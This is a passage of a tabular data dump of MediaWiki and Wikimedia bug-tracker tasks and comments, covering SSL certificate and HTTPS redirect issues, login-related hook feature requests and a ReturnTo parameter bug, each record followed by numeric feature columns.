I can replicate the error on my local wiki (although without the stack trace) that runs from master. And showing the same protection using list=recentchanges works fine.

--------------------------
**Version**: unspecified
**Severity**: normal"
170442,Showing loginfo for watchlist causes an error,"(In reply to comment #2)

You're right, this bug is a duplicate of #35723, which has been fixed.

*** This bug has been marked as a duplicate of bug 35723 ***",,,1334481929,,PHID-USER-mudnorfjyidux4wazb7q,False,,,PHID-TASK-7yqseawa7ft3aajkko2a,task_subcomment,,True,c2,1,False,,,-72,True,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,2.0,0.0,7.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.6444444444444445,"(In reply to comment #2)

You're right, this bug is a duplicate of #35723, which has been fixed.

*** This bug has been marked as a duplicate of bug 35723 ***"
170434,Showing loginfo for watchlist causes an error,"**beau** wrote:

Can't reproduce on local installation (git master) or mediawiki.org (1.20wmf1). It seems the issue has been fixed.",,,1334480469,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7yqseawa7ft3aajkko2a,task_subcomment,,True,c2,1,False,,,-72,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.8125,"**beau** wrote:

Can't reproduce on local installation (git master) or mediawiki.org (1.20wmf1). It seems the issue has been fixed."
170430,Showing loginfo for watchlist causes an error,"Adding Niklas since, IIRC, he worked on the logging changes.",,,1333998404,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-7yqseawa7ft3aajkko2a,task_subcomment,,True,c2,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.923076923076923,0.9230769230769231,"Adding Niklas since, IIRC, he worked on the logging changes."
37488,bots.wmflabs.org no https,"Not sure whether this should be part of [[bugzilla:34367]] or not

Anyway the server does not have https:// configured which means that one drops out of login, or cannot use protocol relative links.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1332775080,1373382671.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-xqh7zsqzuhqows65px25,task_description,declined,True,c2,1,False,False,True,-75,True,0.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0508474576271185,0.7288135593220338,"Not sure whether this should be part of [[bugzilla:34367]] or not

Anyway the server does not have https:// configured which means that one drops out of login, or cannot use protocol relative links.

--------------------------
**Version**: unspecified
**Severity**: normal"
169412,bots.wmflabs.org no https,bots project is closing...,,,1373382665,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-xqh7zsqzuhqows65px25,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.6,1.0,bots project is closing...
169404,bots.wmflabs.org no https,"Well, even if it has https, it won't be using a certificate trusted by your browser.

Also, wmflabs is a separate domain from other sites, so login isn't kept anyway.",,,1336072155,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-xqh7zsqzuhqows65px25,task_subcomment,,True,c2,1,False,,,-69,True,0.0,0.0,0.0,3.0,5.0,5.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,5.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.5384615384615383,0.7948717948717948,"Well, even if it has https, it won't be using a certificate trusted by your browser.

Also, wmflabs is a separate domain from other sites, so login isn't kept anyway."
37313,SSL cert invalid for bugzilla.wikipedia.org redirect,"Various old links to https://bugzilla.wikipedia.org are currently showing an SSL cert error:
> You attempted to reach bugzilla.wikipedia.org, but instead you
> actually reached a server identifying itself as *.wikimedia.org.
> This may be caused by a misconfiguration on the server or by something
> more serious. An attacker on your network could be trying to get you
> to visit a fake (and potentially harmful) version of
> bugzilla.wikipedia.org. You should not proceed.



Note that https://bugs.mediawiki.org does not show an SSL error

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1332129000,1392239574.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-hfaixmjoyllpokd2rtij,task_description,resolved,True,c2,1,True,False,False,-76,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,26.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.7358490566037736,0.5283018867924528,"Various old links to URL are currently showing an SSL cert error:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE



Note that URL does not show an SSL error

--------------------------
**Version**: unspecified
**Severity**: normal"
168186,SSL cert invalid for bugzilla.wikipedia.org redirect," openssl s_client -connect bugzilla.wikipedia.org:443

...
subject=/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikipedia.org
issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
...


curl bugzilla.wikipedia.org


<title>301 Moved Permanently</title>

<p>The document has moved <a href=""https://bugzilla.wikimedia.org/"">here</a>.</p>",,,1392239662,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,3,True,,,24,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,33.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,43.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,4.7101449275362315,0.6666666666666666," openssl s_client -connect bugzilla.wikipedia.org:443

...
subject=/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikipedia.org
issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
...


curl bugzilla.wikipedia.org


<title>301 Moved Permanently</title>

<p>The document has moved <a href=""URL"
168180,SSL cert invalid for bugzilla.wikipedia.org redirect,"I claim it's fixed now by:

https://gerrit.wikimedia.org/r/#/c/112930/

 21:02 mutante: DNS update - switch bz.wp to cluster redirect 

please confirm ?:)",,,1392239574,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,3,True,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,7.0,7.0,11.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6296296296296298,0.9259259259259259,"I claim it's fixed now by:

URL

 21:02 mutante: DNS update - switch bz.wp to cluster redirect 

please confirm ?:)"
168174,SSL cert invalid for bugzilla.wikipedia.org redirect,rt #2675,,,1332341813,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,1,False,,,-75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,rt #2675
168171,SSL cert invalid for bugzilla.wikipedia.org redirect,"(In reply to comment #0)
> Note that https://bugs.mediawiki.org does not show an SSL error


Both https://bugs.mediawiki.org and https://bugzilla.mediawiki.org are redirecting via SSL without SSL errors.",,,1332129114,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hfaixmjoyllpokd2rtij,task_subcomment,,True,c2,1,True,,,-76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,30.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4347826086956523,0.9130434782608695,"(In reply to comment #0)
QUOTE


Both URL and URL are redirecting via SSL without SSL errors."
36914,LoginAuthenticateAudit should be extended to also report access attempts blocked by anti-spam extensions,"**Author:** `carlb613`

**Description:**
There is a hook [[mw:manual:hook/LoginAuthenticateAudit]] which is currently called with (username, password, status) to report a status of any one of:
a) user logged in successfully
b) user supplied a bad password
c) user requested an e-mail password reset link

This hook is used by [[mw:Extension:Fail2banlog]] to ban (at the server firewall level) IPs which attempt brute-force attacks which repeatedly try to log in with bad passwords.

Unfortunately, it only detects access attempts blocked by core code and then only on login attempts. There are many more attempts to access the wiki in some way (edit, registration, upload...) which are blocked not by core code but by extensions hooked into any or all of the following:
* edit: ([[mw:Manual:Hooks/EditFilter|EditFilter]], [[mw:Manual:Hooks/EditFilterMerged|EditFilterMerged]], [[mwLManual:Hooks/APIEditBeforeSave|APIEditBeforeSave]])
* login and registration [[Manual:Hooks/AbortLogin|AbortLogin]], [[Manual:Hooks/AbortNewAccount|AbortNewAccount]]
* move: [[Manual:Hooks/AbortMove|AbortMove]]
* upload: [[Manual:Hooks/UploadVerification|UploadVerification]]
* delete: [[Manual:Hooks/ArticleDelete|ArticleDelete]]

Each of these hooks has some means (such as returning 'false' or setting $error to a non-null string) to reject an edit or other access attempt as spam.

Perhaps [[Manual:Hooks/LoginAuthenticateAudit|LoginAuthenticateAudit]] should have one extra event code added to indicate each of these actions (edit, login, register, move, upload) being rejected by an extension due to abuse.

That way, if [[mw:extension:SpamBlacklist]] were repeatedly rejecting edits due to spam URL's in the message payload, or [[mw:extension:ConfirmEdit]] were reporting repeated wrong answers to CAPTCHAs, [[mw:extension:fail2banlog]] could block the offending IPs once and for all.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement
**URL**: http://www.mediawiki.org/wiki/Thread:Extension_talk:ConfirmEdit/SimpleCaptcha_now_useless#SimpleCaptcha_now_useless_12717
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=41522
https://bugzilla.wikimedia.org/show_bug.cgi?id=46292",Low,25.0,1330731660,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-gnt5jymhlnib2hjveecv,task_description,open,True,c2,1,False,False,,-78,True,1.8,0.0,0.0,0.8,0.2,3.4,0.0,0.0,0.0,0.2,1.2,0.4,0.0,0.4,0.4,0.0,0.0,2.4,6.6,0.0,1.2,0.2,0.0,0.0,1.2,0.2,0.0,0.0,0.2,0.0,0.0,2.2,0.6,0.2,0.8,0.0,0.0,0.4,0.4,0.6,0.0,0.0,0.2,2.8,0.6,0.0,0.0,0.0,0.0,16.4,0.0,0.8,0.4,0.2,0.0,0.4,0.0,0.0,0.2,0.0,0.0,0.4,0.0,0.0,0.0,0.4,0.0,2.4,1.6,10.8,0.2,1.6,5.6,0.0,0.0,0.0,0.0,2.0,0.0,0.4,0.0,0.2,6.6,5.6,0.0,0.4,0.0,0.2,0.0,0.8,1.4,0.0,1.2,0.2,0.0,9.0,3.814469378214119,0.5617812061711079,"**Author:** CODE

**Description:**
There is a hook [[mw:manual:hook/LoginAuthenticateAudit]] which is currently called with (username, password, status) to report a status of any one of:
a) user logged in successfully
b) user supplied a bad password
c) user requested an e-mail password reset link

This hook is used by [[mw:Extension:Fail2banlog]] to ban (at the server firewall level) IPs which attempt brute-force attacks which repeatedly try to log in with bad passwords.

Unfortunately, it only detects access attempts blocked by core code and then only on login attempts. There are many more attempts to access the wiki in some way (edit, registration, upload...) which are blocked not by core code but by extensions hooked into any or all of the following:
* edit: ([[mw:Manual:Hooks/EditFilter|EditFilter]], [[mw:Manual:Hooks/EditFilterMerged|EditFilterMerged]], [[mwLManual:Hooks/APIEditBeforeSave|APIEditBeforeSave]])
* login and registration [[Manual:Hooks/AbortLogin|AbortLogin]], [[Manual:Hooks/AbortNewAccount|AbortNewAccount]]
* move: [[Manual:Hooks/AbortMove|AbortMove]]
* upload: [[Manual:Hooks/UploadVerification|UploadVerification]]
* delete: [[Manual:Hooks/ArticleDelete|ArticleDelete]]

Each of these hooks has some means (such as returning 'false' or setting $error to a non-null string) to reject an edit or other access attempt as spam.

Perhaps [[Manual:Hooks/LoginAuthenticateAudit|LoginAuthenticateAudit]] should have one extra event code added to indicate each of these actions (edit, login, register, move, upload) being rejected by an extension due to abuse.

That way, if [[mw:extension:SpamBlacklist]] were repeatedly rejecting edits due to spam URL's in the message payload, or [[mw:extension:ConfirmEdit]] were reporting repeated wrong answers to CAPTCHAs, [[mw:extension:fail2banlog]] could block the offending IPs once and for all.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement
**URL**: URL
**See Also**:
URL
URL"
36913,"AbuseFilter should hook LoginAuthenticateAudit, allowing rules to ban IP's who make repeated failed login attempts","**Author:** `carlb613`

**Description:**
AbuseFilter provides various mechanisms to block or demote a user who repeatedly does something questionable, based on its own ruleset (for instance, repeatedly blanking articles or article sections) but provides no means to create a rule which would perform some action in response to repeated login failures or repeated failures to get spam past an extension (such as ConfirmEdit or SpamBlacklist).

While we don't currently have a mechanism to notify AbuseFilter that a user is repeatedly falling CAPTCHA (short of changing code elsewhere in the system) we do have LoginAuthenticateAudit to report failed attempts to log in with repeated bad passwords. Unfortunately, the only extensions to use this info are either Fail2Ban (which firewalls the offending IP at the server level) or other CAPTCHAs (to present a CAPTCHA on subsequent login attempts if previous brute-force attempts have failed). There is nowhere where AbuseFilter requests to be notified on LoginAuthenticateAudit failures and no means to create a rule in the AbuseFilter to block an IP after an abusive number of failed login attempts.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: http://www.mediawiki.org/wiki/Thread:Extension_talk:ConfirmEdit/SimpleCaptcha_now_useless#SimpleCaptcha_now_useless_12717",Low,25.0,1330730760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fyok7yjjtohiiodp2rwf,task_description,open,True,c2,1,False,False,,-78,True,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,11.0,0.6666666666666666,4.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.333333333333332,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,5.0,1.6666666666666667,9.0,1.6666666666666667,2.6666666666666665,7.333333333333333,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.0,0.0,1.0,11.0,3.6666666666666665,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,3.3333333333333335,0.0,1.3333333333333333,0.0,0.0,0.0,4.564491064491064,0.7283272283272284,"**Author:** CODE

**Description:**
AbuseFilter provides various mechanisms to block or demote a user who repeatedly does something questionable, based on its own ruleset (for instance, repeatedly blanking articles or article sections) but provides no means to create a rule which would perform some action in response to repeated login failures or repeated failures to get spam past an extension (such as ConfirmEdit or SpamBlacklist).

While we don't currently have a mechanism to notify AbuseFilter that a user is repeatedly falling CAPTCHA (short of changing code elsewhere in the system) we do have LoginAuthenticateAudit to report failed attempts to log in with repeated bad passwords. Unfortunately, the only extensions to use this info are either Fail2Ban (which firewalls the offending IP at the server level) or other CAPTCHAs (to present a CAPTCHA on subsequent login attempts if previous brute-force attempts have failed). There is nowhere where AbuseFilter requests to be notified on LoginAuthenticateAudit failures and no means to create a rule in the AbuseFilter to block an IP after an abusive number of failed login attempts.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
1405112,"AbuseFilter should hook LoginAuthenticateAudit, allowing rules to ban IP's who make repeated failed login attempts",Maybe as part of {T234155}?,,,1575519809,,PHID-USER-ilk3nopl66nufkd26tee,False,,,PHID-TASK-fyok7yjjtohiiodp2rwf,task_subcomment,,True,c2,3,True,,,327,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.875,1.0,Maybe as part of {T234155}?
36521,The ReturnTo query parameter of Special:UserLogin skips array-valued parameters,"**Author:** `it_is_me_here`

**Description:**
See https://en.wikipedia.org/wiki/User_talk:Anomie#User_script. If you aren't logged in on a particular browser, then you paste in a Wikimedia URL that is only accessible to Admins/whatever and that includes doing an action (e.g. deleting) on multiple items (log entries, old versions of pages, etc.), and then you log in and click ""return to X"", you get an error message. An example of such a URL is https://en.wikipedia.org/w/index.php?title=Wikipedia%3ASandbox&action=historysubmit&revisiondelete=1&diff=477738682&ids%5B477738682%5D=1&oldid=477736475&ids%5B477736475%5D=1&ids%5B477734577%5D=1. The error message you get when trying to return to the page is:

""Invalid target revision: You have either not specified a target revision(s) to perform this function, the specified revision does not exist, or you are attempting to hide the current revision. 
Return to Main Page.""

If you are already logged in, pasting in the URL works fine.

--------------------------
**Version**: 1.19
**Severity**: normal",Low,25.0,1329675300,1331335711.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-m6kcpxbvynq353oa4suw,task_description,resolved,True,c2,1,False,False,True,-80,True,0.0,0.0,0.0,1.0,1.5,4.0,0.5,0.0,0.0,1.0,3.5,0.5,0.0,0.5,0.0,0.0,0.5,5.0,9.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.0,4.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.5,0.0,11.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,6.5,3.0,12.0,1.5,2.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.0,9.5,3.5,0.0,2.0,0.0,4.0,0.0,1.5,3.5,0.0,2.5,0.0,0.0,1.0,3.622896213183731,0.6269284712482468,"**Author:** CODE

**Description:**
See URL If you aren't logged in on a particular browser, then you paste in a Wikimedia URL that is only accessible to Admins/whatever and that includes doing an action (e.g. deleting) on multiple items (log entries, old versions of pages, etc.), and then you log in and click ""return to X"", you get an error message. An example of such a URL is URL The error message you get when trying to return to the page is:

""Invalid target revision: You have either not specified a target revision(s) to perform this function, the specified revision does not exist, or you are attempting to hide the current revision. 
Return to Main Page.""

If you are already logged in, pasting in the URL works fine.

--------------------------
**Version**: 1.19
**Severity**: normal"
166677,The ReturnTo query parameter of Special:UserLogin skips array-valued parameters,"Benny investigated this bug and tracked it down to a bug in WebRequest::getValues(). This function claims not to apply any transformations to its input, but that's a lie, it calls getVal() which strips out arrays.

Fixed in r113545.",,,1331335711,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-m6kcpxbvynq353oa4suw,task_subcomment,,True,c2,1,False,,,-77,True,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7755102040816326,"Benny investigated this bug and tracked it down to a bug in WebRequest::getValues(). This function claims not to apply any transformations to its input, but that's a lie, it calls getVal() which strips out arrays.

Fixed in r113545."
166672,The ReturnTo query parameter of Special:UserLogin skips array-valued parameters,"**it_is_me_here** wrote:

I've now found another example of this. If you are editing the section of a page whilst logged out (e.g. [https://en.wikipedia.org/w/index.php?title=Kentucky_Constitution&action=edit&section=2]), click the ""logged in"" link from [https://en.wikipedia.org/wiki/MediaWiki:Anoneditwarning], then the URL you are led to is [https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Kentucky_Constitution&returntoquery=action%3Dedit] and, sure enough, you will be taken back, upon logging in, to [https://en.wikipedia.org/w/index.php?title=Kentucky_Constitution&action=edit] (i.e. without the section-edit bit).",,,1331209078,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m6kcpxbvynq353oa4suw,task_subcomment,,True,c2,1,False,,,-77,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,15.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,1.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,9.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,5.0,15.0,1.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,6.0,3.1728395061728394,0.6666666666666666,"**it_is_me_here** wrote:

I've now found another example of this. If you are editing the section of a page whilst logged out (e.g. [URL click the ""logged in"" link from [URL then the URL you are led to is [URL and, sure enough, you will be taken back, upon logging in, to [URL (i.e. without the section-edit bit)."
36160,Mingle HTTP to HTTPS redirect is broken,"Try the example URL (found on https://blog.wikimedia.org/2012/01/31/getting-ready-for-when-the-freeze-is-done/ ): it's converted to mingle.corp.wikimedia.orgprojects which obviously doesn't work: Error 105 (net::ERR_NAME_NOT_RESOLVED. The same URL with https works.

--------------------------
**Version**: unspecified
**Severity**: minor
